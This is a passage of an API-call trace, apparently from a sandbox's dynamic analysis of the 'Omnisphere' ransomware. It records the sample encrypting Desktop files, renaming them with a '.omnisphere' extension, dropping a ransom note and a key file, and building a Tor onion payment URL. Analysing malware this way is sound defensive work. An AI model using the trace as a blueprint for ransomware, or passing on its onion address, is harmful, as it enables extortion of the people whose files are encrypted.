pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.464] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.464] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.464] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.464] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.464] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.464] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.464] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.464] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.464] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.464] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.464] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.464] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.464] CryptDestroyKey (hKey=0x16394e8) returned 1 [0163.464] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0163.464] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x11a, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.464] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0163.466] GetProcessHeap () returned 0x1600000 [0163.466] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x266) returned 0x1772550 [0163.466] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\desktop.ini.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.ini.omnisphere")) returned 1 [0163.469] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\desktop.ini.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\desktop.ini.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\desktop.ini.omnisphere.id" [0163.469] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\desktop.ini.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.ini.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0163.471] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0163.472] CloseHandle (hObject=0x3bc) returned 1 [0163.473] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0163.473] CloseHandle (hObject=0x380) returned 1 [0163.473] SetEndOfFile (hFile=0x39c) returned 1 [0163.474] FlushFileBuffers (hFile=0x39c) returned 1 [0163.503] CloseHandle (hObject=0x39c) returned 1 [0163.503] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\desktop.ini" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0163.503] GetProcessHeap () returned 0x1600000 [0163.503] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17727c0 [0163.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0163.503] GetProcessHeap () returned 0x1600000 [0163.503] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733400 [0163.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733400, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0163.503] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0163.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0163.503] GetProcessHeap () returned 0x1600000 [0163.503] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f460 [0163.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f460, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0163.504] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0163.504] GetProcessHeap () returned 0x1600000 [0163.504] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x164d100 [0163.504] PathCombineW (in: pszDest=0x164d100, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0163.504] GetProcessHeap () returned 0x1600000 [0163.504] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1769b98 [0163.504] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.504] WriteFile (in: hFile=0x39c, lpBuffer=0x1769b98*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x1769b98*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0163.504] CloseHandle (hObject=0x39c) returned 1 [0163.505] GetProcessHeap () returned 0x1600000 [0163.505] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17727c0 | out: hHeap=0x1600000) returned 1 [0163.505] GetProcessHeap () returned 0x1600000 [0163.505] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a180 [0163.505] PathCombineW (in: pszDest=0x163a180, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0163.505] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.505] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0163.506] CloseHandle (hObject=0x39c) returned 1 [0163.506] GetProcessHeap () returned 0x1600000 [0163.506] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a180 | out: hHeap=0x1600000) returned 1 [0163.506] GetProcessHeap () returned 0x1600000 [0163.506] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163d8f8 | out: hHeap=0x1600000) returned 1 [0163.506] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fbaa700, ftCreationTime.dwHighDateTime=0x1d4d05d, ftLastAccessTime.dwLowDateTime=0xa9e7dc40, ftLastAccessTime.dwHighDateTime=0x1d4c6d7, ftLastWriteTime.dwLowDateTime=0xa9e7dc40, ftLastWriteTime.dwHighDateTime=0x1d4c6d7, nFileSizeHigh=0x0, nFileSizeLow=0xde95, dwReserved0=0x0, dwReserved1=0xf5, cFileName="DGL2n.m4a", cAlternateFileName="")) returned 1 [0163.506] GetProcessHeap () returned 0x1600000 [0163.506] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x52) returned 0x163d478 [0163.507] PathCombineW (in: pszDest=0x163d478, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="DGL2n.m4a" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\DGL2n.m4a") returned="C:\\Users\\FD1HVy\\Desktop\\DGL2n.m4a" [0163.507] StrStrW (lpFirst=".omnisphere", lpSrch=".m4a") returned 0x0 [0163.507] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DGL2n.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\dgl2n.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.507] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=56981) returned 1 [0163.507] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xd971, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.507] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.508] GetTickCount () returned 0x11689aa [0163.509] GetTickCount () returned 0x11689aa [0163.509] GetTickCount () returned 0x11689aa [0163.509] GetTickCount () returned 0x11689aa [0163.509] GetTickCount () returned 0x11689aa [0163.509] GetTickCount () returned 0x11689aa [0163.509] GetTickCount () returned 0x11689aa [0163.509] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668708) returned 1 [0163.509] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x1639968) returned 1 [0163.509] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0163.510] CryptDestroyKey (hKey=0x1639968) returned 1 [0163.510] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0163.510] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xde95, lpName=0x0) returned 0x380 [0163.510] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xde95) returned 0x1480000 [0163.510] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1668240) returned 1 [0163.511] CryptImportKey (in: hProv=0x1668240, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x1639728) returned 1 [0163.511] CryptSetKeyParam (hKey=0x1639728, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0163.511] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0163.511] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.511] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.511] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.511] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.511] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.511] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.511] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.511] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.512] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.512] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.512] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.512] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.512] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.512] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.512] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.512] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.512] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.512] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.512] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.512] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.512] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.512] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.512] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.512] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.512] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.512] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.512] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.512] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.512] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.512] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.513] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.513] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.513] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.513] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.513] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.513] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.513] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.513] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.513] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.513] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.513] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.513] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.513] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.513] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.513] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.513] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, 